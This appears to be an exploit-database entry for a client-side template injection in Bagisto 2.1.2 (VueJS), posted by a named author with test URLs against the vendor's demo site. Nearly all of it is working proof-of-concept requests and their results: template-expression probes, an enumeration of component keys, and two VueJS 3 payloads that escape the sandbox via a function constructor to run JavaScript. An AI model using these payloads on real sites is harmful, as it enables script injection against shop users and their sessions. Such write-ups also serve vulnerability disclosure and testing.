Bagisto 2.1.2 Client-Side Template Injection

`# Exploit Title: Bagisto 2.1.2 Client-Side Template Injection(CSTI) (VueJS)  
# Date: 06/18/2024  
# Exploit Author: tmrswrr  
# Vendor Homepage: https://forums.bagisto.com/  
# Version: 2.1.2  
# Tested on: https://demo.bagisto.com/  
  
  
https://demo.bagisto.com/bagisto-common/search?query={{7*7}}  
  
49  
  
https://demo.bagisto.com/bagisto-common/search?query={{'a'.toUpperCase()}}  
  
A  
  
https://demo.bagisto.com/bagisto/search?query={{ Object.keys(this) }}  
  
[ "_", "onSubmit", "onInvalidSubmit", "lazyImages", "animateBoxes" ]  
  
> Payloads for VueJS 3  
  
https://demo.bagisto.com/bagisto/search?query={{_openBlock.constructor('alert(1)')()}}  
https://demo.bagisto.com/bagisto/search?query={{-function(){this.alert(1)}()}}  
  
> You will be see alert button  
  
  
  
  
`